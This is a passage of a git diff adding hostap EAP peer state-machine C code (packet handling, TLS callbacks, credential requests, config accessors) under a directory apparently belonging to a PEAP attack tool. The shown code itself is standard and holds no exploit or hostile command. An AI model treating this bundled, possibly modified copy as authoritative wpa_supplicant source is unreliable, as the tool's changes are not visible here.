frames if LEAP is used. + */ + if (plen < sizeof(*hdr) + 1) { + wpa_printf(MSG_DEBUG, "EAP: Too short " + "EAP-Response - no Type field"); + return; + } + sm->rxResp = TRUE; + pos = (const u8 *) (hdr + 1); + sm->reqMethod = *pos; + wpa_printf(MSG_DEBUG, "EAP: Received EAP-Response for " + "LEAP method=%d id=%d", + sm->reqMethod, sm->reqId); + break; + } + wpa_printf(MSG_DEBUG, "EAP: Ignored EAP-Response"); + break; + case EAP_CODE_SUCCESS: + wpa_printf(MSG_DEBUG, "EAP: Received EAP-Success"); + eap_notify_status(sm, "completion", "success"); + sm->rxSuccess = TRUE; + break; + case EAP_CODE_FAILURE: + wpa_printf(MSG_DEBUG, "EAP: Received EAP-Failure"); + eap_notify_status(sm, "completion", "failure"); + sm->rxFailure = TRUE; + break; + default: + wpa_printf(MSG_DEBUG, "EAP: Ignored EAP-Packet with unknown " + "code %d", hdr->code); + break; + } +} + + +static void eap_peer_sm_tls_event(void *ctx, enum tls_event ev, + union tls_event_data *data) +{ + struct eap_sm *sm = ctx; + char *hash_hex = NULL; + + switch (ev) { + case TLS_CERT_CHAIN_SUCCESS: + eap_notify_status(sm, "remote certificate verification", + "success"); + break; + case TLS_CERT_CHAIN_FAILURE: + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_TLS_CERT_ERROR + "reason=%d depth=%d subject='%s' err='%s'", + data->cert_fail.reason, + data->cert_fail.depth, + data->cert_fail.subject, + data->cert_fail.reason_txt); + eap_notify_status(sm, "remote certificate verification", + data->cert_fail.reason_txt); + break; + case TLS_PEER_CERTIFICATE: + if (!sm->eapol_cb->notify_cert) + break; + + if (data->peer_cert.hash) { + size_t len = data->peer_cert.hash_len * 2 + 1; + hash_hex = os_malloc(len); + if (hash_hex) { + wpa_snprintf_hex(hash_hex, len, + data->peer_cert.hash, + data->peer_cert.hash_len); + } + } + + sm->eapol_cb->notify_cert(sm->eapol_ctx, + data->peer_cert.depth, + data->peer_cert.subject, + hash_hex, data->peer_cert.cert); + break; + case TLS_ALERT: + if (data->alert.is_local) + eap_notify_status(sm, "local TLS alert", + data->alert.description); + else + eap_notify_status(sm, "remote TLS alert", + data->alert.description); + break; + } + + os_free(hash_hex); +} + + +/** + * eap_peer_sm_init - Allocate and initialize EAP peer state machine + * @eapol_ctx: Context data to be used with eapol_cb calls + * @eapol_cb: Pointer to EAPOL callback functions + * @msg_ctx: Context data for wpa_msg() calls + * @conf: EAP configuration + * Returns: Pointer to the allocated EAP state machine or %NULL on failure + * + * This function allocates and initializes an EAP state machine. In addition, + * this initializes TLS library for the new EAP state machine. eapol_cb pointer + * will be in use until eap_peer_sm_deinit() is used to deinitialize this EAP + * state machine. Consequently, the caller must make sure that this data + * structure remains alive while the EAP state machine is active. + */ +struct eap_sm * eap_peer_sm_init(void *eapol_ctx, + struct eapol_callbacks *eapol_cb, + void *msg_ctx, struct eap_config *conf) +{ + struct eap_sm *sm; + struct tls_config tlsconf; + + sm = os_zalloc(sizeof(*sm)); + if (sm == NULL) + return NULL; + sm->eapol_ctx = eapol_ctx; + sm->eapol_cb = eapol_cb; + sm->msg_ctx = msg_ctx; + sm->ClientTimeout = EAP_CLIENT_TIMEOUT_DEFAULT; + sm->wps = conf->wps; + + os_memset(&tlsconf, 0, sizeof(tlsconf)); + tlsconf.opensc_engine_path = conf->opensc_engine_path; + tlsconf.pkcs11_engine_path = conf->pkcs11_engine_path; + tlsconf.pkcs11_module_path = conf->pkcs11_module_path; +#ifdef CONFIG_FIPS + tlsconf.fips_mode = 1; +#endif /* CONFIG_FIPS */ + tlsconf.event_cb = eap_peer_sm_tls_event; + tlsconf.cb_ctx = sm; + tlsconf.cert_in_cb = conf->cert_in_cb; + sm->ssl_ctx = tls_init(&tlsconf); + if (sm->ssl_ctx == NULL) { + wpa_printf(MSG_WARNING, "SSL: Failed to initialize TLS " + "context."); + os_free(sm); + return NULL; + } + + sm->ssl_ctx2 = tls_init(&tlsconf); + if (sm->ssl_ctx2 == NULL) { + wpa_printf(MSG_INFO, "SSL: Failed to initialize TLS " + "context (2)."); + /* Run without separate TLS context within TLS tunnel */ + } + + return sm; +} + + +/** + * eap_peer_sm_deinit - Deinitialize and free an EAP peer state machine + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * + * This function deinitializes EAP state machine and frees all allocated + * resources. + */ +void eap_peer_sm_deinit(struct eap_sm *sm) +{ + if (sm == NULL) + return; + eap_deinit_prev_method(sm, "EAP deinit"); + eap_sm_abort(sm); + if (sm->ssl_ctx2) + tls_deinit(sm->ssl_ctx2); + tls_deinit(sm->ssl_ctx); + os_free(sm); +} + + +/** + * eap_peer_sm_step - Step EAP peer state machine + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * Returns: 1 if EAP state was changed or 0 if not + * + * This function advances EAP state machine to a new state to match with the + * current variables. This should be called whenever variables used by the EAP + * state machine have changed. + */ +int eap_peer_sm_step(struct eap_sm *sm) +{ + int res = 0; + do { + sm->changed = FALSE; + SM_STEP_RUN(EAP); + if (sm->changed) + res = 1; + } while (sm->changed); + return res; +} + + +/** + * eap_sm_abort - Abort EAP authentication + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * + * Release system resources that have been allocated for the authentication + * session without fully deinitializing the EAP state machine. + */ +void eap_sm_abort(struct eap_sm *sm) +{ + wpabuf_free(sm->lastRespData); + sm->lastRespData = NULL; + wpabuf_free(sm->eapRespData); + sm->eapRespData = NULL; + os_free(sm->eapKeyData); + sm->eapKeyData = NULL; + os_free(sm->eapSessionId); + sm->eapSessionId = NULL; + + /* This is not clearly specified in the EAP statemachines draft, but + * it seems necessary to make sure that some of the EAPOL variables get + * cleared for the next authentication. */ + eapol_set_bool(sm, EAPOL_eapSuccess, FALSE); +} + + +#ifdef CONFIG_CTRL_IFACE +static const char * eap_sm_state_txt(int state) +{ + switch (state) { + case EAP_INITIALIZE: + return "INITIALIZE"; + case EAP_DISABLED: + return "DISABLED"; + case EAP_IDLE: + return "IDLE"; + case EAP_RECEIVED: + return "RECEIVED"; + case EAP_GET_METHOD: + return "GET_METHOD"; + case EAP_METHOD: + return "METHOD"; + case EAP_SEND_RESPONSE: + return "SEND_RESPONSE"; + case EAP_DISCARD: + return "DISCARD"; + case EAP_IDENTITY: + return "IDENTITY"; + case EAP_NOTIFICATION: + return "NOTIFICATION"; + case EAP_RETRANSMIT: + return "RETRANSMIT"; + case EAP_SUCCESS: + return "SUCCESS"; + case EAP_FAILURE: + return "FAILURE"; + default: + return "UNKNOWN"; + } +} +#endif /* CONFIG_CTRL_IFACE */ + + +#if defined(CONFIG_CTRL_IFACE) || !defined(CONFIG_NO_STDOUT_DEBUG) +static const char * eap_sm_method_state_txt(EapMethodState state) +{ + switch (state) { + case METHOD_NONE: + return "NONE"; + case METHOD_INIT: + return "INIT"; + case METHOD_CONT: + return "CONT"; + case METHOD_MAY_CONT: + return "MAY_CONT"; + case METHOD_DONE: + return "DONE"; + default: + return "UNKNOWN"; + } +} + + +static const char * eap_sm_decision_txt(EapDecision decision) +{ + switch (decision) { + case DECISION_FAIL: + return "FAIL"; + case DECISION_COND_SUCC: + return "COND_SUCC"; + case DECISION_UNCOND_SUCC: + return "UNCOND_SUCC"; + default: + return "UNKNOWN"; + } +} +#endif /* CONFIG_CTRL_IFACE || !CONFIG_NO_STDOUT_DEBUG */ + + +#ifdef CONFIG_CTRL_IFACE + +/** + * eap_sm_get_status - Get EAP state machine status + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @buf: Buffer for status information + * @buflen: Maximum buffer length + * @verbose: Whether to include verbose status information + * Returns: Number of bytes written to buf. + * + * Query EAP state machine for status information. This function fills in a + * text area with current status information from the EAPOL state machine. If + * the buffer (buf) is not large enough, status information will be truncated + * to fit the buffer. + */ +int eap_sm_get_status(struct eap_sm *sm, char *buf, size_t buflen, int verbose) +{ + int len, ret; + + if (sm == NULL) + return 0; + + len = os_snprintf(buf, buflen, + "EAP state=%s\n", + eap_sm_state_txt(sm->EAP_state)); + if (len < 0 || (size_t) len >= buflen) + return 0; + + if (sm->selectedMethod != EAP_TYPE_NONE) { + const char *name; + if (sm->m) { + name = sm->m->name; + } else { + const struct eap_method *m = + eap_peer_get_eap_method(EAP_VENDOR_IETF, + sm->selectedMethod); + if (m) + name = m->name; + else + name = "?"; + } + ret = os_snprintf(buf + len, buflen - len, + "selectedMethod=%d (EAP-%s)\n", + sm->selectedMethod, name); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + if (sm->m && sm->m->get_status) { + len += sm->m->get_status(sm, sm->eap_method_priv, + buf + len, buflen - len, + verbose); + } + } + + if (verbose) { + ret = os_snprintf(buf + len, buflen - len, + "reqMethod=%d\n" + "methodState=%s\n" + "decision=%s\n" + "ClientTimeout=%d\n", + sm->reqMethod, + eap_sm_method_state_txt(sm->methodState), + eap_sm_decision_txt(sm->decision), + sm->ClientTimeout); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + } + + return len; +} +#endif /* CONFIG_CTRL_IFACE */ + + +#if defined(CONFIG_CTRL_IFACE) || !defined(CONFIG_NO_STDOUT_DEBUG) +static void eap_sm_request(struct eap_sm *sm, enum wpa_ctrl_req_type field, + const char *msg, size_t msglen) +{ + struct eap_peer_config *config; + const char *txt = NULL; + char *tmp; + + if (sm == NULL) + return; + config = eap_get_config(sm); + if (config == NULL) + return; + + switch (field) { + case WPA_CTRL_REQ_EAP_IDENTITY: + config->pending_req_identity++; + break; + case WPA_CTRL_REQ_EAP_PASSWORD: + config->pending_req_password++; + break; + case WPA_CTRL_REQ_EAP_NEW_PASSWORD: + config->pending_req_new_password++; + break; + case WPA_CTRL_REQ_EAP_PIN: + config->pending_req_pin++; + break; + case WPA_CTRL_REQ_EAP_OTP: + if (msg) { + tmp = os_malloc(msglen + 3); + if (tmp == NULL) + return; + tmp[0] = '['; + os_memcpy(tmp + 1, msg, msglen); + tmp[msglen + 1] = ']'; + tmp[msglen + 2] = '\0'; + txt = tmp; + os_free(config->pending_req_otp); + config->pending_req_otp = tmp; + config->pending_req_otp_len = msglen + 3; + } else { + if (config->pending_req_otp == NULL) + return; + txt = config->pending_req_otp; + } + break; + case WPA_CTRL_REQ_EAP_PASSPHRASE: + config->pending_req_passphrase++; + break; + case WPA_CTRL_REQ_SIM: + txt = msg; + break; + default: + return; + } + + if (sm->eapol_cb->eap_param_needed) + sm->eapol_cb->eap_param_needed(sm->eapol_ctx, field, txt); +} +#else /* CONFIG_CTRL_IFACE || !CONFIG_NO_STDOUT_DEBUG */ +#define eap_sm_request(sm, type, msg, msglen) do { } while (0) +#endif /* CONFIG_CTRL_IFACE || !CONFIG_NO_STDOUT_DEBUG */ + +const char * eap_sm_get_method_name(struct eap_sm *sm) +{ + if (sm->m == NULL) + return "UNKNOWN"; + return sm->m->name; +} + + +/** + * eap_sm_request_identity - Request identity from user (ctrl_iface) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * + * EAP methods can call this function to request identity information for the + * current network. This is normally called when the identity is not included + * in the network configuration. The request will be sent to monitor programs + * through the control interface. + */ +void eap_sm_request_identity(struct eap_sm *sm) +{ + eap_sm_request(sm, WPA_CTRL_REQ_EAP_IDENTITY, NULL, 0); +} + + +/** + * eap_sm_request_password - Request password from user (ctrl_iface) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * + * EAP methods can call this function to request password information for the + * current network. This is normally called when the password is not included + * in the network configuration. The request will be sent to monitor programs + * through the control interface. + */ +void eap_sm_request_password(struct eap_sm *sm) +{ + eap_sm_request(sm, WPA_CTRL_REQ_EAP_PASSWORD, NULL, 0); +} + + +/** + * eap_sm_request_new_password - Request new password from user (ctrl_iface) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * + * EAP methods can call this function to request new password information for + * the current network. This is normally called when the EAP method indicates + * that the current password has expired and password change is required. The + * request will be sent to monitor programs through the control interface. + */ +void eap_sm_request_new_password(struct eap_sm *sm) +{ + eap_sm_request(sm, WPA_CTRL_REQ_EAP_NEW_PASSWORD, NULL, 0); +} + + +/** + * eap_sm_request_pin - Request SIM or smart card PIN from user (ctrl_iface) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * + * EAP methods can call this function to request SIM or smart card PIN + * information for the current network. This is normally called when the PIN is + * not included in the network configuration. The request will be sent to + * monitor programs through the control interface. + */ +void eap_sm_request_pin(struct eap_sm *sm) +{ + eap_sm_request(sm, WPA_CTRL_REQ_EAP_PIN, NULL, 0); +} + + +/** + * eap_sm_request_otp - Request one time password from user (ctrl_iface) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @msg: Message to be displayed to the user when asking for OTP + * @msg_len: Length of the user displayable message + * + * EAP methods can call this function to request open time password (OTP) for + * the current network. The request will be sent to monitor programs through + * the control interface. + */ +void eap_sm_request_otp(struct eap_sm *sm, const char *msg, size_t msg_len) +{ + eap_sm_request(sm, WPA_CTRL_REQ_EAP_OTP, msg, msg_len); +} + + +/** + * eap_sm_request_passphrase - Request passphrase from user (ctrl_iface) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * + * EAP methods can call this function to request passphrase for a private key + * for the current network. This is normally called when the passphrase is not + * included in the network configuration. The request will be sent to monitor + * programs through the control interface. + */ +void eap_sm_request_passphrase(struct eap_sm *sm) +{ + eap_sm_request(sm, WPA_CTRL_REQ_EAP_PASSPHRASE, NULL, 0); +} + + +/** + * eap_sm_request_sim - Request external SIM processing + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @req: EAP method specific request + */ +void eap_sm_request_sim(struct eap_sm *sm, const char *req) +{ + eap_sm_request(sm, WPA_CTRL_REQ_SIM, req, os_strlen(req)); +} + + +/** + * eap_sm_notify_ctrl_attached - Notification of attached monitor + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * + * Notify EAP state machines that a monitor was attached to the control + * interface to trigger re-sending of pending requests for user input. + */ +void eap_sm_notify_ctrl_attached(struct eap_sm *sm) +{ + struct eap_peer_config *config = eap_get_config(sm); + + if (config == NULL) + return; + + /* Re-send any pending requests for user data since a new control + * interface was added. This handles cases where the EAP authentication + * starts immediately after system startup when the user interface is + * not yet running. */ + if (config->pending_req_identity) + eap_sm_request_identity(sm); + if (config->pending_req_password) + eap_sm_request_password(sm); + if (config->pending_req_new_password) + eap_sm_request_new_password(sm); + if (config->pending_req_otp) + eap_sm_request_otp(sm, NULL, 0); + if (config->pending_req_pin) + eap_sm_request_pin(sm); + if (config->pending_req_passphrase) + eap_sm_request_passphrase(sm); +} + + +static int eap_allowed_phase2_type(int vendor, int type) +{ + if (vendor != EAP_VENDOR_IETF) + return 0; + return type != EAP_TYPE_PEAP && type != EAP_TYPE_TTLS && + type != EAP_TYPE_FAST; +} + + +/** + * eap_get_phase2_type - Get EAP type for the given EAP phase 2 method name + * @name: EAP method name, e.g., MD5 + * @vendor: Buffer for returning EAP Vendor-Id + * Returns: EAP method type or %EAP_TYPE_NONE if not found + * + * This function maps EAP type names into EAP type numbers that are allowed for + * Phase 2, i.e., for tunneled authentication. Phase 2 is used, e.g., with + * EAP-PEAP, EAP-TTLS, and EAP-FAST. + */ +u32 eap_get_phase2_type(const char *name, int *vendor) +{ + int v; + u8 type = eap_peer_get_type(name, &v); + if (eap_allowed_phase2_type(v, type)) { + *vendor = v; + return type; + } + *vendor = EAP_VENDOR_IETF; + return EAP_TYPE_NONE; +} + + +/** + * eap_get_phase2_types - Get list of allowed EAP phase 2 types + * @config: Pointer to a network configuration + * @count: Pointer to a variable to be filled with number of returned EAP types + * Returns: Pointer to allocated type list or %NULL on failure + * + * This function generates an array of allowed EAP phase 2 (tunneled) types for + * the given network configuration. + */ +struct eap_method_type * eap_get_phase2_types(struct eap_peer_config *config, + size_t *count) +{ + struct eap_method_type *buf; + u32 method; + int vendor; + size_t mcount; + const struct eap_method *methods, *m; + + methods = eap_peer_get_methods(&mcount); + if (methods == NULL) + return NULL; + *count = 0; + buf = os_malloc(mcount * sizeof(struct eap_method_type)); + if (buf == NULL) + return NULL; + + for (m = methods; m; m = m->next) { + vendor = m->vendor; + method = m->method; + if (eap_allowed_phase2_type(vendor, method)) { + if (vendor == EAP_VENDOR_IETF && + method == EAP_TYPE_TLS && config && + config->private_key2 == NULL) + continue; + buf[*count].vendor = vendor; + buf[*count].method = method; + (*count)++; + } + } + + return buf; +} + + +/** + * eap_set_fast_reauth - Update fast_reauth setting + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @enabled: 1 = Fast reauthentication is enabled, 0 = Disabled + */ +void eap_set_fast_reauth(struct eap_sm *sm, int enabled) +{ + sm->fast_reauth = enabled; +} + + +/** + * eap_set_workaround - Update EAP workarounds setting + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @workaround: 1 = Enable EAP workarounds, 0 = Disable EAP workarounds + */ +void eap_set_workaround(struct eap_sm *sm, unsigned int workaround) +{ + sm->workaround = workaround; +} + + +/** + * eap_get_config - Get current network configuration + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * Returns: Pointer to the current network configuration or %NULL if not found + * + * EAP peer methods should avoid using this function if they can use other + * access functions, like eap_get_config_identity() and + * eap_get_config_password(), that do not require direct access to + * struct eap_peer_config. + */ +struct eap_peer_config * eap_get_config(struct eap_sm *sm) +{ + return sm->eapol_cb->get_config(sm->eapol_ctx); +} + + +/** + * eap_get_config_identity - Get identity from the network configuration + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @len: Buffer for the length of the identity + * Returns: Pointer to the identity or %NULL if not found + */ +const u8 * eap_get_config_identity(struct eap_sm *sm, size_t *len) +{ + struct eap_peer_config *config = eap_get_config(sm); + if (config == NULL) + return NULL; + *len = config->identity_len; + return config->identity; +} + + +static int eap_get_ext_password(struct eap_sm *sm, + struct eap_peer_config *config) +{ + char *name; + + if (config->password == NULL) + return -1; + + name = os_zalloc(config->password_len + 1); + if (name == NULL) + return -1; + os_memcpy(name, config->password, config->password_len); + + ext_password_free(sm->ext_pw_buf); + sm->ext_pw_buf = ext_password_get(sm->ext_pw, name); + os_free(name); + + return sm->ext_pw_buf == NULL ? -1 : 0; +} + + +/** + * eap_get_config_password - Get password from the network configuration + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @len: Buffer for the length of the password + * Returns: Pointer to the password or %NULL if not found + */ +const u8 * eap_get_config_password(struct eap_sm *sm, size_t *len) +{ + struct eap_peer_config *config = eap_get_config(sm); + if (config == NULL) + return NULL; + + if (config->flags & EAP_CONFIG_FLAGS_EXT_PASSWORD) { + if (eap_get_ext_password(sm, config) < 0) + return NULL; + *len = wpabuf_len(sm->ext_pw_buf); + return wpabuf_head(sm->ext_pw_buf); + } + + *len = config->password_len; + return config->password; +} + + +/** + * eap_get_config_password2 - Get password from the network configuration + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @len: Buffer for the length of the password + * @hash: Buffer for returning whether the password is stored as a + * NtPasswordHash instead of plaintext password; can be %NULL if this + * information is not needed + * Returns: Pointer to the password or %NULL if not found + */ +const u8 * eap_get_config_password2(struct eap_sm *sm, size_t *len, int *hash) +{ + struct eap_peer_config *config = eap_get_config(sm); + if (config == NULL) + return NULL; + + if (config->flags & EAP_CONFIG_FLAGS_EXT_PASSWORD) { + if (eap_get_ext_password(sm, config) < 0) + return NULL; + *len = wpabuf_len(sm->ext_pw_buf); + return wpabuf_head(sm->ext_pw_buf); + } + + *len = config->password_len; + if (hash) + *hash = !!(config->flags & EAP_CONFIG_FLAGS_PASSWORD_NTHASH); + return config->password; +} + + +/** + * eap_get_config_new_password - Get new password from network configuration + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @len: Buffer for the length of the new password + * Returns: Pointer to the new password or %NULL if not found + */ +const u8 * eap_get_config_new_password(struct eap_sm *sm, size_t *len) +{ + struct eap_peer_config *config = eap_get_config(sm); + if (config == NULL) + return NULL; + *len = config->new_password_len; + return config->new_password; +} + + +/** + * eap_get_config_otp - Get one-time password from the network configuration + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @len: Buffer for the length of the one-time password + * Returns: Pointer to the one-time password or %NULL if not found + */ +const u8 * eap_get_config_otp(struct eap_sm *sm, size_t *len) +{ + struct eap_peer_config *config = eap_get_config(sm); + if (config == NULL) + return NULL; + *len = config->otp_len; + return config->otp; +} + + +/** + * eap_clear_config_otp - Clear used one-time password + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * + * This function clears a used one-time password (OTP) from the current network + * configuration. This should be called when the OTP has been used and is not + * needed anymore. + */ +void eap_clear_config_otp(struct eap_sm *sm) +{ + struct eap_peer_config *config = eap_get_config(sm); + if (config == NULL) + return; + os_memset(config->otp, 0, config->otp_len); + os_free(config->otp); + config->otp = NULL; + config->otp_len = 0; +} + + +/** + * eap_get_config_phase1 - Get phase1 data from the network configuration + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * Returns: Pointer to the phase1 data or %NULL if not found + */ +const char * eap_get_config_phase1(struct eap_sm *sm) +{ + struct eap_peer_config *config = eap_get_config(sm); + if (config == NULL) + return NULL; + return config->phase1; +} + + +/** + * eap_get_config_phase2 - Get phase2 data from the network configuration + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * Returns: Pointer to the phase1 data or %NULL if not found + */ +const char * eap_get_config_phase2(struct eap_sm *sm) +{ + struct eap_peer_config *config = eap_get_config(sm); + if (config == NULL) + return NULL; + return config->phase2; +} + + +int eap_get_config_fragment_size(struct eap_sm *sm) +{ + struct eap_peer_config *config = eap_get_config(sm); + if (config == NULL) + return -1; + return config->fragment_size; +} + + +/** + * eap_key_available - Get key availability (eapKeyAvailable variable) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * Returns: 1 if EAP keying material is available, 0 if not + */ +int eap_key_available(struct eap_sm *sm) +{ + return sm ? sm->eapKeyAvailable : 0; +} + + +/** + * eap_notify_success - Notify EAP state machine about external success trigger + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * + * This function is called when external event, e.g., successful completion of + * WPA-PSK key handshake, is indicating that EAP state machine should move to + * success state. This is mainly used with security modes that do not use EAP + * state machine (e.g., WPA-PSK). + */ +void eap_notify_success(struct eap_sm *sm) +{ + if (sm) { + sm->decision = DECISION_COND_SUCC; + sm->EAP_state = EAP_SUCCESS; + } +} + + +/** + * eap_notify_lower_layer_success - Notification of lower layer success + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * + * Notify EAP state machines that a lower layer has detected a successful + * authentication. This is used to recover from dropped EAP-Success messages. + */ +void eap_notify_lower_layer_success(struct eap_sm *sm) +{ + if (sm == NULL) + return; + + if (eapol_get_bool(sm, EAPOL_eapSuccess) || + sm->decision == DECISION_FAIL || + (sm->methodState != METHOD_MAY_CONT && + sm->methodState != METHOD_DONE)) + return; + + if (sm->eapKeyData != NULL) + sm->eapKeyAvailable = TRUE; + eapol_set_bool(sm, EAPOL_eapSuccess, TRUE); + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_SUCCESS + "EAP authentication completed successfully (based on lower " + "layer success)"); +} + + +/** + * eap_get_eapSessionId - Get Session-Id from EAP state machine + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @len: Pointer to variable that will be set to number of bytes in the session + * Returns: Pointer to the EAP Session-Id or %NULL on failure + * + * Fetch EAP Session-Id from the EAP state machine. The Session-Id is available + * only after a successful authentication. EAP state machine continues to manage + * the Session-Id and the caller must not change or free the returned data. + */ +const u8 * eap_get_eapSessionId(struct eap_sm *sm, size_t *len) +{ + if (sm == NULL || sm->eapSessionId == NULL) { + *len = 0; + return NULL; + } + + *len = sm->eapSessionIdLen; + return sm->eapSessionId; +} + + +/** + * eap_get_eapKeyData - Get master session key (MSK) from EAP state machine + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @len: Pointer to variable that will be set to number of bytes in the key + * Returns: Pointer to the EAP keying data or %NULL on failure + * + * Fetch EAP keying material (MSK, eapKeyData) from the EAP state machine. The + * key is available only after a successful authentication. EAP state machine + * continues to manage the key data and the caller must not change or free the + * returned data. + */ +const u8 * eap_get_eapKeyData(struct eap_sm *sm, size_t *len) +{ + if (sm == NULL || sm->eapKeyData == NULL) { + *len = 0; + return NULL; + } + + *len = sm->eapKeyDataLen; + return sm->eapKeyData; +} + + +/** + * eap_get_eapKeyData - Get EAP response data + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * Returns: Pointer to the EAP response (eapRespData) or %NULL on failure + * + * Fetch EAP response (eapRespData) from the EAP state machine. This data is + * available when EAP state machine has processed an incoming EAP request. The + * EAP state machine does not maintain a reference to the response after this + * function is called and the caller is responsible for freeing the data. + */ +struct wpabuf * eap_get_eapRespData(struct eap_sm *sm) +{ + struct wpabuf *resp; + + if (sm == NULL || sm->eapRespData == NULL) + return NULL; + + resp = sm->eapRespData; + sm->eapRespData = NULL; + + return resp; +} + + +/** + * eap_sm_register_scard_ctx - Notification of smart card context + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @ctx: Context data for smart card operations + * + * Notify EAP state machines of context data for smart card operations. This + * context data will be used as a parameter for scard_*() functions. + */ +void eap_register_scard_ctx(struct eap_sm *sm, void *ctx) +{ + if (sm) + sm->scard_ctx = ctx; +} + + +/** + * eap_set_config_blob - Set or add a named configuration blob + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @blob: New value for the blob + * + * Adds a new configuration blob or replaces the current value of an existing + * blob. + */ +void eap_set_config_blob(struct eap_sm *sm, struct wpa_config_blob *blob) +{ +#ifndef CONFIG_NO_CONFIG_BLOBS + sm->eapol_cb->set_config_blob(sm->eapol_ctx, blob); +#endif /* CONFIG_NO_CONFIG_BLOBS */ +} + + +/** + * eap_get_config_blob - Get a named configuration blob + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @name: Name of the blob + * Returns: Pointer to blob data or %NULL if not found + */ +const struct wpa_config_blob * eap_get_config_blob(struct eap_sm *sm, + const char *name) +{ +#ifndef CONFIG_NO_CONFIG_BLOBS + return sm->eapol_cb->get_config_blob(sm->eapol_ctx, name); +#else /* CONFIG_NO_CONFIG_BLOBS */ + return NULL; +#endif /* CONFIG_NO_CONFIG_BLOBS */ +} + + +/** + * eap_set_force_disabled - Set force_disabled flag + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @disabled: 1 = EAP disabled, 0 = EAP enabled + * + * This function is used to force EAP state machine to be disabled when it is + * not in use (e.g., with WPA-PSK or plaintext connections). + */ +void eap_set_force_disabled(struct eap_sm *sm, int disabled) +{ + sm->force_disabled = disabled; +} + + +/** + * eap_set_external_sim - Set external_sim flag + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @external_sim: Whether external SIM/USIM processing is used + */ +void eap_set_external_sim(struct eap_sm *sm, int external_sim) +{ + sm->external_sim = external_sim; +} + + + /** + * eap_notify_pending - Notify that EAP method is ready to re-process a request + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * + * An EAP method can perform a pending operation (e.g., to get a response from + * an external process). Once the response is available, this function can be + * used to request EAPOL state machine to retry delivering the previously + * received (and still unanswered) EAP request to EAP state machine. + */ +void eap_notify_pending(struct eap_sm *sm) +{ + sm->eapol_cb->notify_pending(sm->eapol_ctx); +} + + +/** + * eap_invalidate_cached_session - Mark cached session data invalid + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + */ +void eap_invalidate_cached_session(struct eap_sm *sm) +{ + if (sm) + eap_deinit_prev_method(sm, "invalidate"); +} + + +int eap_is_wps_pbc_enrollee(struct eap_peer_config *conf) +{ + if (conf->identity_len != WSC_ID_ENROLLEE_LEN || + os_memcmp(conf->identity, WSC_ID_ENROLLEE, WSC_ID_ENROLLEE_LEN)) + return 0; /* Not a WPS Enrollee */ + + if (conf->phase1 == NULL || os_strstr(conf->phase1, "pbc=1") == NULL) + return 0; /* Not using PBC */ + + return 1; +} + + +int eap_is_wps_pin_enrollee(struct eap_peer_config *conf) +{ + if (conf->identity_len != WSC_ID_ENROLLEE_LEN || + os_memcmp(conf->identity, WSC_ID_ENROLLEE, WSC_ID_ENROLLEE_LEN)) + return 0; /* Not a WPS Enrollee */ + + if (conf->phase1 == NULL || os_strstr(conf->phase1, "pin=") == NULL) + return 0; /* Not using PIN */ + + return 1; +} + + +void eap_sm_set_ext_pw_ctx(struct eap_sm *sm, struct ext_password_data *ext) +{ + ext_password_free(sm->ext_pw_buf); + sm->ext_pw_buf = NULL; + sm->ext_pw = ext; +} + + +/** + * eap_set_anon_id - Set or add anonymous identity + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @id: Anonymous identity (e.g., EAP-SIM pseudonym) or %NULL to clear + * @len: Length of anonymous identity in octets + */ +void eap_set_anon_id(struct eap_sm *sm, const u8 *id, size_t len) +{ + if (sm->eapol_cb->set_anon_id) + sm->eapol_cb->set_anon_id(sm->eapol_ctx, id, len); +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap.h b/peapwn/mods/hostap/src/eap_peer/eap.h new file mode 100644 index 000000000..711f41ff8 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap.h @@ -0,0 +1,326 @@ +/* + * EAP peer state machine functions (RFC 4137) + * Copyright (c) 2004-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_H +#define EAP_H + +#include "common/defs.h" +#include "eap_common/eap_defs.h" +#include "eap_peer/eap_methods.h" + +struct eap_sm; +struct wpa_config_blob; +struct wpabuf; + +struct 